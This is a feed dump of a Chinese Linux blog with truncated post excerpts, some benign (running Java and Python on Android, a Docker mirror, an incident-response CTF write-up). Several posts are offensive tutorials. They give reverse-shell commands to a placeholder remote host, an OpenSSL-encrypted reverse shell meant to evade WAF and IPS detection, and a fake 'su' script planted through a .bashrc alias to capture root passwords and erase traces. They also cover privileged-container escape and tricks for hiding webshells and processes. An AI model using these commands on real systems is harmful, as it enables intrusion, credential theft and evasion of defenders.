Is Yang's Blog - Linux
type: channel
link: https://www.isisy.com/category/linux/
description: linux折腾的小记录
items: 突破限制！让你的 Android 解锁 JAVA 能力！
items: Bash 模拟 HTTP(S) 的脚本方式实现
items: 反弹Shell流量加密
items: 别名利用之Linux低权限用户抓取切账户时密码
items: 自建Docker加速镜像服务
items: 在 Android 上解锁 Python 魔力：交叉编译 Python 3 的完整指南
items: 记一次Docker下的Privileged特权模式容器逃逸
items: 2023 陇剑杯-IR_WP
items: 使用纯 Bash 模拟 HTTP 请求
items: Linux权限维持--隐藏篇

突破限制！让你的 Android 解锁 JAVA 能力！
type: item
date: 2024-12-03T18:20:00+08:00
description: AI 摘要（由 ChatGPT 总结生成）：本文介绍了如何在 Android 设备上运行 Java 程序。由于 Android 基于 Linux 内核，虽没有官方的 Android 版本 JDK，但可以通过下载并配置 aarch64 架构的 JDK、GLIBC 动态链接库、PatchELF 和 Busybox 来实现。文章详细描述了相关软件的下载、环境变量设置和文件操作步骤，最终成功运行 Java 程序服务，并结合 shell 脚本处理环境路径，提供了较为完整的方案，适合对 Android 系统有一定了解的用户尝试。前言最近又来折腾了下，准备把换下来的 红米K40 手机充分利用起来，由于 Android 系统底层还是基于 Linux 内核，故也有了很多可玩的东西。本次主要是解决在 Android 设备上运行 Java 程序服务，虽然 Java 官方一直没发布基于 Android 版本的 JDK，但也一直有 aarch64/armhf 版本的，这种架构手机也是受支持的。话不多说，下面开始教程！准备工作此处及下文全部基于您的设备架构默认为 aarch64 、文件放置的默认位置为 /data/local/tmp 目录（ /sdcard 目录无法设置文件权限为可执行，因此请注意！），已开启 ADB 调试或有能力的自行解决文件传输问题。PatchELF： 文件下载地址：patchelf ，选择 aarch64-linux-android-patchelf 文件。JDK：文件下载地址： JDK （下载 Linux 平台 aarch64 架构的 JDK）。GLIBC 动态链接库： 文件下载地址：glibc （下载 libc6_x.x-xubuntu3_arm64.deb，解包提取 usr/lib/aarch64-linux-gnu 目录下的所有文件，或者从其他发行版镜像中提取都可以，前提注意架构）。busybox：文件下载地址：BusyboxTools （其它部分命令的拓展，如：realpath 、 tar 、 file 等）。以及有一定的 Linux 操作知识。设置并安装先使用 ADB 将文件发送到手机：adb push OpenJDK17U-jdk_aarch64_linux_hotspot_17.0.13_11.tar.gz /data/local/tmp adb push aarch64-linux-gnu.zip /data/local/tmp adb push aarch64-linux-android-patchelf /data/local/tmp使用 ADB 进入设备 Shell 并操作：adb shell # 进入 /data/local/tmp 目录 cd /data/local/tmp # 将 patchelf 重命名一下： mv aarch64-linux-android-patchelf patchelf # 解压 JDK tar -zxvf OpenJDK17U-jdk_aarch64_linux_hotspot_17.0.13_11.tar.gz # 重命名一下 jdk 目录名称（该操作随意，可有可无） mv jdk-17.0.13+11 jdk-17.0.13 # 将 libc6_2.40-1ubuntu3_arm64.deb 解压再解压，得到目录文件 # 将 usr/lib/aarch64-linux-gnu 目录（上一步骤已压缩为 aarch64-linux-gnu.zip）所有文件释放到 libs 目录中。 unzip -c libs aarch64-linux-gnu.zip最终的 /data/local/tmp 相关文件目录格式如下图：此时我们尝试执行一下 java 命令，会发现有奇怪的问题：[root@k40:/data/local/tmp]# ./jdk-17.0.13/bin/java sh: ./jdk-17.0.13/bin/java: No such file or directory [root@k40:/data/local/tmp]#这是因为原本的 JDK 是为通用 Linux 发行版所编译，这些发行版的目录格式也是遵循 Linux 标准目录格式，JDK 也因此会在 /lib 目录下查找它所需要的动态链接库文件，但是 Android 上没有，所以就报了上述的错误。我们可以使用 file 命令进行简单验证：[root@k40:/data/local/tmp]# file ./jdk-17.0.13/bin/java ./jdk-17.0.13/bin/java: ELF shared object, 64-bit LSB arm64, dynamic (/lib/ld-linux-…

Bash 模拟 HTTP(S) 的脚本方式实现
type: item
date: 2024-11-13T00:19:00+08:00
description: AI 摘要（由 ChatGPT 总结生成）：本文介绍了一种使用 Bash 脚本模拟 HTTP 和 HTTPS 请求的方法，适用于缺少 wget 和 curl 命令的环境。文章提供了详细的脚本代码和使用方法，通过示例展示了脚本的效果和使用方法，包括如何处理 HTTP 和 HTTPS 协议。这种方法能够替代传统的 wget 和 curl 命令，实现网络请求的功能。前言之前写过一篇文章关于使用纯 Bash 模拟 HTTP 请求的文章，链接如下：[post cid="1497" /]正好前阵子又分析了一个恶意挖矿脚本时遇到了一段相关代码，遂有感而发。而且平时我们拿到一个 Shell ，进去后发现没有 wget、curl 命令（特别是一些阉割较狠的 Docker 容器环境内），但是却具有完整的 Bash 环境，这时候我们可不可以使用 Bash 的特性，使得我们可以使用类似 wget、curl 命令呢？这就是今晚水这篇文章的原因。废话不多说，直接上代码及食用教程。代码脚本代码比较粗糙，未做更好的优化，更多的是提供大家一个思路。代码如下：#!/bin/bash _curl() { local proto server path port proto=$(echo "$1" | awk -F: '{print $1}') server=$(echo "$1" | awk -F/ '{print $3}') path=$(echo "$1" | awk -F/ '{for(i=4;i<=NF;i++) printf "%s", $i; print ""}') local tag="close" local ua="curl/7.29.0 (Shell)" DOC="/${path}" HOST="${server%%:*}" PORT="${server##*:}" if "$proto" == "http" ; then "$PORT" == "$HOST" && PORT=80 exec 3<>/dev/tcp/${HOST}/$PORT FD_IN=3 elif "$proto" == "https" ; then "$PORT" == "$HOST" && PORT=443 # 对于 HTTPS 使用 coproc 创建子进程运行，避免脚本卡住 coproc openssl_process { openssl s_client -connect ${HOST}:${PORT} -quiet 2>/dev/null; } exec 3>&${openssl_process[1]} exec 4<&${openssl_process[0]} FD_IN=4 else echo "错误：不支持的协议。请使用 http 或 https。" exit 1 fi echo -en "GET ${DOC} HTTP/1.1\r\nHost: ${HOST}\r\nUser-Agent: ${ua}\r\nConnection: ${tag}\r\n\r\n" >&3 local chunked=false while read -r line <&${FD_IN}; do line="${line%%[[:cntrl:]]}" -z "$line" && break "$line" =~ Transfer-Encoding:\ chunked && chunked=true done if $chunked; then _parse_chunked_body else cat <&${FD_IN} fi exec 3>&- "$proto" == "https" && { exec 4<&-; wait $openssl_process_PID; } } _parse_chunked_body() { while :; do read -r chunk_size_hex <&${FD_IN} chunk_size_hex="${chunk_size_hex%%[[:cntrl:]]}" local chunk_size=$((16#$chunk_size_hex)) $chunk_size -eq 0 && break dd bs=1 count=$chunk_size <&${FD_IN} 2>/dev/null read -r _ <&${FD_IN} done } if -z "$1" ; then echo "错误：未提供 URL 参数。" echo "用法示例：$0 http(s)://example.com/path" exit 1 el…

反弹Shell流量加密
type: item
date: 2024-10-04T20:48:00+08:00
description: AI 摘要（由 ChatGPT 总结生成）：本文探讨了如何通过SSL加密反弹Shell流量以避免被WAF和IPS检测。首先，直接反弹Shell时数据以明文方式传输，容易被监控。接着，介绍了如何生成SSL证书并利用OpenSSL对流量进行加密。对于Linux和Windows平台，分别提供了相应的命令和步骤，实现加密后的Shell反弹，并通过数据包分析验证了加密效果。最后总结了使用OpenSSL加密传输的实用性，后续将讨论流量解密。前言前段时间的一个小插曲，我们在拿到 RCE 漏洞后，往往会弹一个 Shell 出来操作，但若是直接反弹会有一个缺点：流量是以明文方式传输的，容易被 WAF、 IPS 等检测到，进而对带有攻击特征的设备拦截或记录，这时候我们对流量加密则至关重要。下面直接演示。直接反弹这里我们简单演示直接反弹的结果，并使用 tcpdump 工具进行数据流的抓取并分析。首先，我们在测试机中先开一个 Shell 窗口，并使用 tcpdump 抓取 eth0 网卡数据流量，命令如下：[root@localhost revshell]# tcpdump -i eth0 -w revshell.cap远程主机使用 nc 工具监听端口：[root@localhost ~]# nc -lvvp 2024 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::2024 Ncat: Listening on 0.0.0.0:2024 接下来，我们再在测试机上开一个窗口，进行 Shell 反弹，如下：[root@localhost ~]# /bin/bash -i >& /dev/tcp/[远程IP]/2024 0>&1成功反弹后，执行命令，并使用工具分析抓取的数据包，以查看在远程主机上所执行的命令与结果，可见数据皆明文传输：加密流量下面我们尝试生成 SSL 证书，再使用 OpenSSL 加密反弹 Shell 。我们在远程主机上使用 OpenSSL 工具生成 SSL 证书的公/私钥对，需要填写的 SSL 证书信息可以是空，一直回车即可，如下：[root@localhost revshell]# openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes Generating a 4096 bit RSA private key ...................................................++ ..........................................................................................................................................++ writing new private key to 'key.pem' ----- You are about to be asked to enter information that will be incorporated into your certificate request. ………… Common Name (eg, your name or your server's hostname) []: Email Address []: [root@localhost revshell]# ll total 8 -rw-r--r--. 1 root root 1911 Oct 4 18:22 cert.pem -rw-r--r--. 1 root root 3272 Oct 4 18:22 key.pem [root@localhost revshell]#证书生成成功后，我们即可利用该证书对相关流量进行加密。Linux 平台1、在远程主机上使用 OpenSSL 在指定端口启动 SSL/TLS 服务，如下：openssl s_server -quiet -key key.pem -cert cert.pem -port 20242、测试机上使用 OpenSSL 反弹加密的 Shell ：mkfifo /tmp/revshell; /bin/bash -i < /tmp/revshell 2>&1 | openssl s_client -quiet -connect [远程IP]:2024 > /tmp/revshell; rm -f /tmp/revshell简单在加密的 Shell 上输入几个 Linux 命令后并再次分析验证其数据流量：…

别名利用之Linux低权限用户抓取切账户时密码
type: item
date: 2024-10-01T22:08:00+08:00
description: AI 摘要（由 ChatGPT 总结生成）：本文介绍了一种利用Linux低权限用户抓取切账户时密码的技巧。通过获取用户的操作历史，发现多次执行 su - root 命令但未发现密码。利用Linux的别名机制，替换 su 命令为恶意脚本，记录输入的密码后显示认证失败，最后清理痕迹。此方法实现了在不引起警觉的情况下获取目标用户的密码，但需谨慎使用，以免影响系统正常操作。前言近几个月事儿较多，文章又拖更三个月了。近期在刷一些文，有一处讲到了 Linux 低权限用户利用别名命令来抓取切账户时的密码，之前也有过了解与操作，其原理并不难，遂此次利用假期再次进行了实操并总结此文。话不多说，下面直接开始！实现思路我们通过某些 RCE 漏洞获取到一个正常的低权限 Linux Shell ，并使用该 Shell 浏览了用户的操作历史命令后，发现历史命令里有多次执行 su - root 命令以切换超级用户操作，但是在一通翻找后却未发现密码。于是借助 Linux 的别名机制，替换用户的 su 命令为我的“恶意脚本”负责伪造一次认证，并在记录密码后进行回显密码错误，再对其进行痕迹清理，这样就能不知不觉中获取用户在切换如超级用户时的密码。下面进行步骤演示。具体步骤1、 为了伪造一次认证，我们先观察一下普通用户在执行 su - root 命令后输错密码的一次正常的回显，如下：[yang@localhost ~]$ su - root Password: su: Authentication failure [yang@localhost ~]$那么我们在用户家目录下创建一个“恶意 Shell 脚本”，其 Shell 脚本内容可以这么写：#!/bin/bash echo -e "Password: \c" read -s pass echo ${pass} >> /tmp/.pass.log echo "" echo "su: Authentication failure"对比一下命令的执行效果，可以发现其提示几乎没什么区别：2、 接下来备份一下该用户的 .bashrc 文件，并修改该文件，添加一条 alias 别名：# 备份 .bashrc 文件 [yang@localhost ~]$ cp -p ~/.bashrc /tmp/.bashrc # 编辑 .bashrc 文件并添加一条 alias 别名 [yang@localhost ~]$ vim ~/.bashrc …… alias su="~/run_pass.sh"测试一下，成功捕获密码：[yang@localhost ~]$ vim ~/.bashrc [yang@localhost ~]$ . ~/.bashrc [yang@localhost ~]$ su - root Password: su: Authentication failure [yang@localhost ~]$ [yang@localhost ~]$ cat /tmp/.pass.log test_pass [yang@localhost ~]$3、 但是这样子修改也随之而来一个问题，即认证始终无法成功，无法成功认证则会影响到管理员的正常操作，进而引起警觉，所以我们需要修改一下脚本，再抓取到一次密码后，恢复为正常的 su 所切换的用户，于是脚本进一步修改为如下：#!/bin/bash echo -e "Password: \c" read -s pass echo ${pass} >> /tmp/.pass.log echo "" echo "su: Authentication failure" # 还原原始的 .bashrc 文件并启动新终端，此时su命令被还原 cp -p /tmp/.bashrc ~/.bashrc rm -f /tmp/.bashrc bash下面再进行测试一下：可见此时 su 命令已被还原，密码也成功记录下来：[yang@localhost ~]$ vim run_pass.sh [yang@localhost ~]$ su - root Password: su: Authentication failure [yang@localhost ~]$ su - root Password: Last login: Tue Oct 1 20:48:03 CST 2024 from 192.168.1.99 on pts/1 Last failed login: Tue Oct 1 20:49:37 CST 2024 on pts/1 There was 1 failed login attempt since the last successful login. [root@localhost ~…

自建Docker加速镜像服务
type: item
date: 2024-06-12T21:09:00+08:00
description: AI 摘要（由 ChatGPT 总结生成）：文章介绍了在国内提供镜像站和镜像加速服务被禁止的情况下，如何自建Docker镜像加速服务。全文详细描述了搭建流程，包括准备环境、安装Docker和Nginx、配置镜像仓库和Nginx反代等步骤。此外，还提供了如何通过修改Docker配置来使用新的Registry地址，并介绍了如何通过UI查看缓存的镜像。这为需要绕过官方限制的开发者提供了一种解决方案。前言因截止到 2024 年 06 月 07 日，国内已要求所有提供镜像站和镜像加速服务的机构停止其服务。这对国内一众开发者及安全从业者造成了相当的困扰，正好自己这几天晚上折腾了一下镜像站的部署，故简单水个文。搭建流程本文借鉴了另一位博主浅时光的教程，同时本文也同样适用内网自建，方便大家使用。有的文章是使用 CloudFlare Works 搭建的，但 CloudFlare 在当下的国内环境下不知道啥时候会出幺蛾子，故本文不讨论使用 CloudFlare Works 方式部署。操作流程拥有一台国外未被墙的主机。国内主机也可，但需会使用科学上网工具（此需自行解决，本文不提供相应教程）。一个域名，国外主机、内网自建不需备案，国内公网主机部署且对外提供则需备案。部署 Nginx，用于配置域名和 SSL 证书来反代 Registry 容器服务。部署 Docker 和 Docker Compose。基础环境安装添加 Docker YUM 源：[root@localhost ~]# yum update [root@localhost ~]# yum install -y yum-utils device-mapper-persistent-data lvm2 [root@localhost ~]# yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo安装 Docker ：#可以查看所有仓库中所有docker版本，并选择特定版本安装 [root@localhost ~]# yum list docker-ce --showduplicates | sort -r [root@localhost ~]# yum install -y docker-ce启动 Docker ：[root@localhost ~]# systemctl enable docker && systemctl start docker部署镜像仓库代理下文涉及浅时光博主的 GitHub 项目：Docker-Proxy下述文件皆存放于 /var/registry-proxy 目录中，若需指定其它目录请自行创建并使用。创建账号密码【可选】：[root@localhost ~]# mkdir -p /var/registry-proxy && cd $_ [root@localhost registry-proxy]# mkdir auth && mkdir -p registry/data [root@localhost registry-proxy]# docker run --entrypoint htpasswd httpd:2 -Bbn TEST TESTPASSWD > auth/htpasswd添加 docker-compose.yml 文件：下述配置若需使用密码，则请将 volumes 处的 ./auth:/auth 注释取消。若内网、国内主机部署，请自行部署好科学上网代理，并将 environment 处的 HTTP_PROXY、HTTPS_PROXY、NO_PROXY 注释取消，并配置其正确的代理地址。services: ## docker hub docker-hub: container_name: reg-docker-hub image: registry:latest restart: always #environment: #HTTP_PROXY: "http://172.17.0.1:7890" #HTTPS_PROXY: "http://172.17.0.1:7890" #NO_PROXY: "localhost,127.*,10.*,172.16.*,172.17.*,172.18.*,172.19.*,172.20.*,172.21.*,172.22.*,172.23.*,172.24.*,172.25.*,172.26.*,172.27.*,172.28.*,172.29.*,172.30.*,172.31.*,192.168.*" volumes: - ./registry/data:/var/lib/registry - .…

在 Android 上解锁 Python 魔力：交叉编译 Python 3 的完整指南
type: item
date: 2023-09-21T16:54:00+08:00
description: AI 摘要（由 ChatGPT 总结生成）：本文详细介绍了如何在Android系统上使用NDK交叉编译Python 3的过程。文章涉及了所需工具和库的下载，包括Python、NDK、OpenSSL、LibreSSL、zlib等，并展示了具体的编译步骤。此外，还包括了设置环境变量和部署到Android设备上的方法，最后提供了一个生成Python 3二进制文件的示例，以及如何在Android设备上运行编译后的Python。前期准备本次使用的是基于 Android NDK 去交叉编译 Python ，使得在 Android 上也能玩 Python 。编译过程中相关工具必不可少，如下：Python ：前往官网下载对应版本源码，链接如下：https://www.python.orgNDK ：交叉编译需要的工具，本文编译工具采用的是截止写文前最新的 NDK 25 ，下载链接如下（需科学网）：https://developer.android.google.cn/ndk/downloads?hl=zh-cnOpenSSL ：加密库，链接如下：https://www.openssl.org/source/LibreSSL ：加密库（高版本 Python 编译使用 OpenSSL 库有时出现一些问题），该库同 OpenSSL ，相当于替代库，链接如下：https://ftp.openbsd.org/pub/OpenBSD/LibreSSL/zlib ：编译需要的库，链接如下：https://www.zlib.net/gcc ：系统的 gcc 版本需高于 8 ，若不满足，请更换系统或升级 gcc 版本。以及中途可能遇到的库等，基本可使用 apt 命令安装。本文基于 Debian 系 Linux 系统进行编译操作演示，且交叉编译 Python 的时候最好保证系统上的 Python 版本和要编译的 Python 版本一致，即先编译安装 Linux 版本的，再编译 arm 版本。为模拟 Android 的文件系统路径，故此处会将 Python 编译至 /data/local/tmp 目录下，创建目录：mkdir -p /data/local/tmp此处我们将上述的工具等上传到 /data/local 目录下，此处我们编译一份 Python 3.7 的版本。先将相关压缩包解压，解压命令如下：# 解压 NDK unzip android-ndk-r25c-linux.zip # 解压 OpenSSL tar -zxvf openssl-1.1.1w.tar.gz # 解压 zlib tar -zxvf zlib-1.3.tar.gz # 解压 Python3.7 tar -xvf Python-3.7.17.tar.xz # 解压 LibreSSL tar -zxvf libressl-3.8.1.tar.gz最终如下图：下面开始对相关组件等交叉编译，下述操作建议在 root 用户下操作。交叉编译 zlib编译该工具是让 Python 支持使用 pip 命令等工具。zlib 的 configure 不支持设置 --host 项，因此我们先直接 configure 一下，然后手动更改生成的 Makefile 文件，相关命令如下：# 前往 zlib 目录 root@ubuntu:/data/local# cd zlib-1.3/ # 创建 build 和 out 文件夹 root@ubuntu:/data/local/zlib-1.3# mkdir -p build out # 前往 build 目录 root@ubuntu:/data/local/zlib-1.3# cd build/ # 执行 configure 命令 root@ubuntu:/data/local/zlib-1.3/build# ../configure --prefix=/data/local/zlib-1.3/out Checking for gcc... Checking for shared library support... Building shared library libz.so.1.3 with gcc. Checking for size_t... Yes. Checking for off64_t... Yes. Checking for fseeko... Yes. Checking for strerror... Yes. Checking for unistd.h... Yes. Checking for stdarg.h... Yes. Checking whether to use vs[n]printf() or s[n]printf()... us…

记一次Docker下的Privileged特权模式容器逃逸
type: item
date: 2023-09-15T12:45:00+08:00
description: AI 摘要（由 ChatGPT 总结生成）：文章介绍了在Docker中使用Privileged特权模式启动容器，并通过演示展示了容器逃逸的三种方法。第一种方法是通过挂载磁盘设备，访问宿主机文件，并在定时任务中写入反弹Shell。第二种方法使用chroot命令切根，创建登陆用户，实现对宿主机的访问。第三种方法通过写入SSH公私钥实现无密码登录。文章强调了使用特权模式运行容器时需要谨慎，并提醒读者在非必要情况下避免使用特权模式。前言在一次对被黑客入侵的服务器进行相关排查，根据相关排查发现在宿主机上不仅存在“挖矿”进程运行，在 Docker 容器内也存在挖矿进程运行，排查时发现 Docker 容器使用了 Privileged 特权模式启动，遂本文就根据此情形简单写一篇关于 Privileged 特权模式下的容器逃逸。Privileged 特权启动容器如果容器在启动时添加了 --privileged 参数则会具备全部 Capabilities ，容器可以访问主机所有 device 以及具有 mount 操作的权限，还包括禁用 Seccomp 和 AppArmor 等安全机制。所以，特权容器几乎拥有所有设备的访问权限，可以通过一些设置来达到从容器内部和从外部访问相同的效果。例如我们可以基于该特权模式实现 Docker run in Docker ，其相关文章可参考：docker-can-now-run-within-docker注：本文在个人虚拟机中演示，虚拟机系统为 CentOS 7 ，不同 Linux 系统可能部分命令操作不太一样，但原理相同，下面开始实战演示。容器启动首先使用 Privileged 特权模式创建并启动一个容器：docker run --rm -it --privileged=true alpine:latest权限检测在容器内部执行下面的命令，重点看下特权容器中获取的 Cap 集合，从而判断容器是不是特权模式，如果是以特权模式启动的话，其 CapEff 对应的掩码值应该为 0000003fffffffff 或是 0000001fffffffff ，如下：/ # cat /proc/self/status | grep Cap CapInh: 0000000000000000 CapPrm: 0000001fffffffff CapEff: 0000001fffffffff CapBnd: 0000001fffffffff CapAmb: 0000000000000000 / # CapEff 主要是检查线程的执行权限，可以在装有 Docker 的机器上执行命令 capsh --decode=0000001fffffffff 进行解码，并根据该文章特权容器判断相关权限集合。逃逸复现方法一查看挂载磁盘设备：/ # fdisk -l Disk /dev/sda: 60 GB, 64424509440 bytes, 125829120 sectors 7832 cylinders, 255 heads, 63 sectors/track Units: sectors of 1 * 512 = 512 bytes Device Boot StartCHS EndCHS StartLBA EndLBA Sectors Size Id Type /dev/sda1 * 0,32,33 130,170,40 2048 2099199 2097152 1024M 83 Linux /dev/sda2 130,170,41 1023,254,63 2099200 41943039 39843840 18.9G 8e Linux LVM /dev/sda3 562,212,35 844,63,51 41943040 62914559 20971520 10.0G 8e Linux LVM /dev/sda4 844,63,52 664,127,39 62914560 125829119 62914560 30.0G 8e Linux LVM Disk /dev/dm-0: 57 GB, 61190701056 bytes, 119513088 sectors 7439 cylinders, 255 heads, 63 sectors/track Units: sectors of 1 * 512 = 512 bytes Disk /dev/dm-0 doesn't contain a valid partition table Disk /dev/dm-1: 2048 MB, 2147483648 bytes, 4194304 sectors 261 cylinders, 255 heads, 63 sectors/track Unit…

2023 陇剑杯-IR_WP
type: item
date: 2023-08-31T15:29:00+08:00
description: AI 摘要（由 ChatGPT 总结生成）：在2023年陇剑杯中，一名安全运营工程师接到通报，公司的网络出口存在请求挖矿域名的行为，需要立即整改。通过合作和调查，发现内网IP 10.221.36.21（运行工时系统）存在异常。进一步分析虚拟机发现redis服务被篡改用于挖矿，挖矿程序路径为`/etc/redis/redis-server`。攻击者利用Shiro反序列化漏洞入侵服务器，通过nginx反向代理访问。攻击者IP为81.70.166.3，使用User-Agent伪装为百度蜘蛛。权限维持方式包括SSH公钥登录和修改redis服务配置以保持挖矿程序运行。2023 陇剑杯-IR简介：你是公司的一名安全运营工程师，今日接到外部监管部门通报，你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合，你们定位到了请求挖矿域名的内网 IP 是 10.221.36.21 。查询 CMDB 后得知该 IP 运行了公司的工时系统。（虚拟机账号密码为：root/IncidentResponsePasswd）题目链接：https://pan.baidu.com/wap/init?surl=c4q7KwsRxTYO5SEkm2gqJg提取码：GAME解压密码：f0b1ba11478343f404666c355919de3fIncidentResponse_1题目：挖矿程序路径是？运行虚拟机，root 账户登录机器，ps 命令浏览一下进程列表，发现存在 redis 、 nginx 、以及 java 服务等，然后查看一下 history 历史命令，以及用户家目录下的 .viminfo 文件，发现 vim 命令修改了一些可疑的文件，其中大量修改了 redis 启动配置文件 /lib/systemd/system/redis.service ，如下图：接着使用 systemctl 命令查看相关 redis 服务，并了解到 redis 启动的配置文件为 /etc/redis/redis.conf ，如下图：查看 /etc/redis/redis.conf 文件，发现可疑痕迹，如下图：使用 Google 对上述地址搜索，发现该地址是一个挖矿地址：所以基本可判断挖矿程序是 redis-server ：kali@kali:~$ echo -n '/etc/redis/redis-server' | md5sum | cut -d' ' -f1 6f72038a870f05cbf923633066e48881 kali@kali:~$IncidentResponse_2题目：挖矿程序连接的矿池域名是？根据上题分析已得到域名，如下：kali@kali:~$ echo -n 'donate.v2.xmrig.com' | md5sum | cut -d' ' -f1 3fca20bb92d0ed67714e68704a0a4503 kali@kali:~$ IncidentResponse_3题目：攻击者入侵服务器利用的方法是？首先根据 ps 了解到存在 nginx 、 java 进程服务，我们先看下 java 服务程序的启动命令及路径：发现存在 nohup.log 日志文件，遂分析一下，发现存在大量 shiro 框架的告警信息：故可能为 Shiro反序列化 漏洞攻击：kali@kali:~$ echo -n 'shirodeserialization' | md5sum | cut -d' ' -f1 3ee726cb32f87a15d22fe55fa04c4dcd kali@kali:~$ IncidentResponse_4题目：攻击者的 IP 是？根据上述 nohup.log 日志得出攻击者使用的是 shiro反序列化 漏洞从而导致服务器失陷，那么可能存在暴露 web 相关服务，遂查看 java 服务监听的端口，可发现 java 服务监听的端口为 8080 ，监听地址为 127.0.0.1 的回环地址：由于回环地址使得外部不可访，那么再次猜测可能使用了 nginx 对 web 服务进行了反向代理，遂再去查看 nginx 的服务器配置，可发现并确认 nginx 反向代理了 java 服务的流量：再查看 nginx 服务的 web 日志配置，可发现 access 日志与 error 日志配置如下：然后查询 /var/log/nginx/access.log 日志，可发现攻击者 IP 如下图：攻击者 IP 如下：kali@kali:~$ echo -n '81.70.166.3' | md5sum | cut -d' ' -f1 c76b4b1a5e8c9e7751af4684c6a8b2c9 kali@kali:~$ IncidentResponse…

使用纯 Bash 模拟 HTTP 请求
type: item
date: 2023-07-25T21:55:00+08:00
description: AI 摘要（由 ChatGPT 总结生成）：这篇文章介绍了如何使用纯 Bash 模拟 HTTP 请求。作者首先讨论了通过反弹 Shell 获取主机控制权的情况，并展示了使用 `/dev/tcp` 特性进行网络套接字通信的方式。随后，作者详细解释了如何利用这一特性模拟 HTTP 请求，包括构建简单的 HTTP 请求标头以及使用文件描述符发送请求体部分数据。文章最后展示了一种纯 Bash 的模拟 HTTPS 请求的方法，通过借助 `openssl` 命令实现了对 HTTPS 服务的请求。整体而言，文章深入浅出地介绍了纯 Bash 下模拟网络请求的实现方法。前言近期也是从反弹 Shell 的一个命令深入思考了一些东西，在日常我们通过某 RCE 拿到一台主机，往往会反弹一个 Shell 到你的远程机器上，命令可能如下：/bin/bash -i >& /dev/tcp/192.168.0.10/2023 0>&1而上述的 /dev/tcp 则是 Bash shell 中的一个特殊特性，它允许你通过简单地使用文件 I/O 来进行网络套接字通信。同样的还有 /dev/udp 这个基于 UDP 协议通信方式。注意：/dev/tcp 这不是 POSIX 标准的一部分，并不是所有 Shell 都支持这个功能！若使用该特性，终端环境 SHELL 得是 Bash。基于这个特性，接下来自己便联想了一下可不可以利用这个特性实现类似如 curl、wget 方式的 HTTP 请求呢？玩的就是真实，下面开始鼓捣。模拟 HTTP 请求此处就拿自己一个已部署的服务来简单测试，并进入服务器观察相关 WEB 日志，以便进一步判断请求。对基于 80 端口的 HTTP 服务的模拟，下面先模拟一个简单的 HTTP 标头，命令如下：[root@localhost ~]# echo -e "GET / HTTP/1.1\r\nHost: example.com\r\nUser-agent: curl/8.0.1\r\nConnection: close\r\n\r\n" GET / HTTP/1.1 Host: example.com User-agent: curl/8.0.1 Connection: close [root@localhost ~]# 接下来，就是利用上述特性将内容发送到 /dev/tcp 套接字文件中去。此时如果我们直接利用重定向符号将上述内容发送到套接字文件中去，则只是将 HTTP 请求标头信息发送到了服务器，此刻数据发完套接字就结束了链接，并没有将 HTTP 请求中的实际数据部分请求体发送到远端服务器，所以远端服务器可能会返回不完整的响应或错误响应。举个栗子吧：[root@localhost ~]# echo -e "GET / HTTP/1.1\r\nHost: example.com\r\nUser-agent: curl/8.0.1\r\nConnection: close\r\n\r\n" > /dev/tcp/example.com/80 [root@localhost ~]# 可以看到什么都没显示，那么该怎么解决请求体部分数据呢？其实在这里我们可以借助一个文件描述符解决，涉及步骤命令如下：1、开启一个可读写的文件描述符 3 并与指定的文件或设备文件关联，这样我们可以使用这个文件描述符来读取或写入数据到这个套接字连接：[root@localhost ~]# exec 3<>/dev/tcp/example.com/802、将上述的 HTTP 标头请求信息发送到文件描述符 3 ，如下：[root@localhost ~]# echo -e "GET / HTTP/1.1\r\nHost: example.com\r\nUser-agent: curl/8.0.1\r\nConnection: close\r\n\r\n" >&33、然后再从文件描述符 3 中获取数据，即可发现成功请求了，HTTP 服务成功返回数据：[root@localhost ~]# cat <&3 HTTP/1.1 200 OK Date: Tue, 25 Jul 2023 06:06:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: Oh, Your idea is dangerous! Server: nginx/9.99.99 Cache-Control: no-cache X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1…

Linux权限维持--隐藏篇
type: item
date: 2023-06-03T00:04:00+08:00
description: AI 摘要（由 ChatGPT 总结生成）：文章总结了在Linux系统下进行权限维持的隐藏技术，包括隐藏文件、隐藏文件时间戳、隐藏权限、隐藏历史操作命令、隐藏远程SSH登陆记录、端口复用以及进程隐藏等。通过创建隐藏文件、修改文件时间戳、使用chattr命令隐藏权限、关闭历史记录、远程SSH登陆记录、端口复用等手段，攻击者能够更有效地保持其在受攻击主机上的存在。文章还介绍了一些工具和方法，如libprocesshider和linux-inject，用于实现进程隐藏和注入。前言最近对某台受攻击的主机进行了攻击手段排查（已被入侵），有感而发，故在事后总结该文。攻击者往往在获取服务器权限后，会通过一些技巧来隐藏自己的踪迹和后门文件，本文介绍 Linux 下的几种隐藏技术。隐藏文件Linux 下创建一个隐藏文件，如：touch .test.txttouch 命令可以创建一个文件，文件名前面加一个 点 就代表是隐藏文件，如下：kali@kali:~/tmpdir$ touch .test.txt kali@kali:~/tmpdir$ ls -l 总计 4 -rw-r--r-- 1 kali kali 4 6月 2日 21:29 username.txt kali@kali:~/tmpdir$ ls -al 总计 12 drwxr-xr-x 2 kali kali 4096 6月 2日 21:29 . drwxr-xr-x 26 kali kali 4096 6月 2日 21:28 .. -rw-r--r-- 1 kali kali 0 6月 2日 21:29 .test.txt -rw-r--r-- 1 kali kali 4 6月 2日 21:29 username.txt kali@kali:~/tmpdir$ 此时，一般的 Linux 下的隐藏目录使用命令 ls -l 是查看不出来的，只能查看到文件及文件夹，查看 Linux 下的隐藏文件需要用到命令：ls -al 而对于任何用户都可写的 /tmp 下，会默认存在多个隐藏目录，这些目录是恶意文件常用来藏身的地方，如/temp/.ICE-unix/ 、/temp/.Test-unix/ 、/temp/.X11-unix/ 、/temp/.XIM-unix/ 等。隐藏文件时间戳此方法也是我藏文件经常用到的小技巧，在 Unix 下藏后门将文件的时间给修改，否则很容易被发现，这里直接利用 touch 命令即可。比如参考同目录下某个文件的时间，再赋给后门文件 webshell ，此时两个文件的时间就一样了。利用方法如下：touch -r [某文件] [webshell]或者直接将时间戳修改成某年某月某日，如下为 2023 年 06 月 02 日：touch -t 2306022139.30 webshell参考如图所示：隐藏权限在 Linux 中，使用 chattr 命令来防止 root 和其他管理用户误删除和修改重要文件及目录，此权限用 ls -l 